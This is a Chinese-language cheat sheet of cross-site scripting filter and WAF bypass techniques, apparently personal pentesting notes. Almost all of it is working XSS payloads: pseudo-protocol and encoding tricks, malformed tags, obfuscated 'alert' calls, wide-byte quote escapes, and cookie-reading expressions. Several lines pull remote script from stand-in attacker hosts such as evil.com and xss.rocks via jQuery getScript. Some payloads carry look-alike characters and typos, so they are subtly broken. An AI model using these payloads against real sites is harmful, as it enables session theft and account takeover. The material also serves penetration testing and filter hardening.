XSS绕过速查表
资料
https://www.yuque.com/pmiaowu/web_security_1/cs5l14
https://www.yuque.com/pmiaowu/web_security_1/scwgqm
https://www.yuque.com/pmiaowu/web_security_1/scwgqm#JFw3a
过滤部分速查
" ' > <
被转义
其实 这几个符号都被转义了之后xss存在的可能行就比较小了
- 观察输出位置 如果在
<a href="xxx" >111</a>
中或者<iframe src="xxx">
的xxx部分,可以尝试伪协议来进行弹窗
javascript:alert(1)
如果伪协议被正则过滤尝试javasc
替换javascript 效果相同,
ript:代表换行
:
代表冒号,语句解码之后和javascript:
是一样的
- 尝试引入第三方js或第三方html页面,测试能否通过jQuery来引入xss平台的js (分类存疑)
$.getScript`http://evil.com/test.js`;
<svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">
- 尝试输入
" > <
观察是否会反转回来 -
<>
被转义的特殊情况,如果数据传输是json格式的话,可以尝试利用\u003c
或\x3c
代替<
,\u003e
或\x3e
代替>
-
如果页面编码为GBK的时候且位置处于 "xxxx" 中可以尝试宽子节来 “吃掉” 前面的引号(这种情况是因为开启了转义之后我们输入的 " 引号会变成
\"
利用,通过 %d5等类似吃掉前面的 \ 从而构成别的字符)%df"alert(1)
-
观察对应标签前面还有没有其他标签
例子:
<title><input type="submit" value="</title><script>alert(1)</script>">
这样是可以弹窗的,因为
<title>
的优先级高于"
同样类似的标签还有<!-- <iframe> <noframes> <noscript> <script> <style> <textarea> <title> <xmp>
以上的标签存在于
<input>
或者是别的标签前面的时候,这时候可以通过优先级来进行一个绕过
on事件过滤
观察网页是如何过滤的
有的是把onload 变成 on_load类似这样,这种情况下首先先尝试fuzz一下on事件看看有没有遗漏,如果没有遗漏的话就尝试利用一些不需要使用on事件来触发的xss类似a标签的base64之类的
有的是过滤了on事件,有可能是把onload 变成了空,这样的情况首先可以尝试 复写或者大小写 onloonloadad
(不过这种比较蠢的过滤不是很常见)
有的是waf拦截,当你输入onload=alert(1)
类似语句会回显 数据异常
之类的, 这种情况下需要简单的判断一下waf是检测到什么语句才触发的拦截,绕过思路和第一种情况有些类似,可以尝试不同类型的xss
onxxxx=过滤 (onxxx代表on事件 例:onload)
onload = alert(1)
在onload和等号之间添加空格绕过onload%0a=alert(1)
在onload后添加%0a换行符号来进行绕过,同样的可以替换为这个这个也是换行的意思同样可以造成xss
- 引入第三方或xss平台的js (需要在script等标签中跨域调用js资源)
<script>$.getScript http://evil.com/test.js ;</script>
<svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">
onxxx 过滤 (onxxx代表on事件 例:onload)
- 伪协议绕过,javascript vbscript等
- base64加密方式绕过
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
- 引入第三方或xss平台的js (需要在script等标签中跨域调用js资源)
<script>$.getScript http://evil.com/test.js ;</script>
特定标签过滤
首先尝试不完全闭合的结构,畸形结构绕过
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<SCRIPT SRC=//xss.rocks/.j>
<script>alert(1)</script
<img ``_ -/@#$% ^ &*()! {}[] :"" '' ? src="x" ``_ -/@#$% ^ &*()! {}[] :"" '' ? onerror="alert(1)">
<SCRIPT a=">"
,<SCRIPT =">"
,<SCRIPT a=">" ''
,<SCRIPT "a='>'"
,<SCRIPT a=">'>"
<SCRIPT>alert(1)</SCRIPT/FGHJK!@#$%^*(
未闭合标签混淆
如果对script没有进行严格过滤的话,尝试引入第三方js或第三方html页面,测试能否通过jQuery来引入xss平台的js
$.getScript`http://evil.com/test.js`;
<svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">
尝试别的标签来进行替换,常用的img svg video details a 等标签替换,下面是一些比较好用的payload到时候可以进行替换
javascript
<details/open/ontoggle=alert(1)>
<svg/onload=alert(1)>
<img/src/onerror=alert(1)>
<video/src/onerror=alert(1)>
<script>(alert)(1)</script>
<video><sourceonerror=”javascript:alert(1)”>
<video/src/onloadstart=”alert(1)”>
<svg><script><!-->a</>l</>e</>r</>t(999)</script>
<ahref=javascript:alert(1)>222</a>
<svg><animateTransform attributeName=transform dur=1s onend=alert(1)>
<details open ontoggle=confirm(0)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<a href="javasc
ript:alert(1)">click</a>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
1
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
括号过滤
反引号` 代替 括号( 进行闭合 例:alert`1`
利用base64加密类型的xsspayload,例如:
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
alert等特定字符过滤
实际过程中单独过滤的时候用到的不多,大致就是换不同的来进行,或者进行编码
confiem prompt等标签进行弹窗
大小写绕过,复写绕过(alalertert)
尝试引入第三方js或第三方html页面,测试能否通过jQuery来引入xss平台的js
$.getScript`http://evil.com/test.js`;
<svg οnmοuseοver="$.getScript`https://xxx/a.js`" stype="display:none">
编码绕过 例:html实体编码,Hex编码,Unicode编码,utf7编码等等
<svg/onload= alert(1)></svg>
这里html实体编码后面的分号可以不加同样可以xss(这里对a进行了html实体编码 a -->a
)对括号同样可以进行编码处理<svg/onload= alert(1)></svg>
(
--->(
-
<svg/onload= %61lert(1)></svg>
(对a进行了hex编码 a ---> %61) -
<svg/onload
(对a进行了unicode编码 a --> \u0061 同时\u0061也可以用\x61来进行替代) 对括号同样可以进行编码处理
= \u0061lert(1)></svg> -
UTF-7 (7-位元 Unicode 转换格式) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。
举个例子:
alert(document.cookie)
编码后就成了+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
。 当标签没有指定明确的charset,而且返回内容的头几个字符是+/v8
(utf7 bom)时,浏览器将以utf-7编码解析,从而形成XSS
编码解码
String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)
返回UTF-16组成的字符串 解码后为alert(1)atob('YWxlcnQoMSk=')
atob函数为解码base64字符串 解码后为alert(1)
代码混淆绕过
javascript
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
空格被过滤
- 利用 / 来进行代替 例如
<svg/onload=alert(1)>
script标签中的骚操作绕过waf
下面的payload都要在script标签中才能有效触发
(self)["alert"]("111")
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
编码绕过
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
利用jQuery绕过waf
self["$"]["globalEval"]("alert(1)");
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
利用javascript的特性跨域访问js
self["$"]["getScript"]("https://example.com/my.js");
根据Object.keys来获取我们想要的函数
Object.keys 是一个数组里面存放着所有的函数可以通过 Object.keys(self)[145] 比方说145对应的是alert 就可以通过 Object.keys(self)[145]("1")
来弹窗
通过c=0;for(i in self){if(i=="alert"){console.log(c);}c++;}
这个语句来获取alert对应的序列
然后进行一个弹窗 Object.keys(self)[145]("1")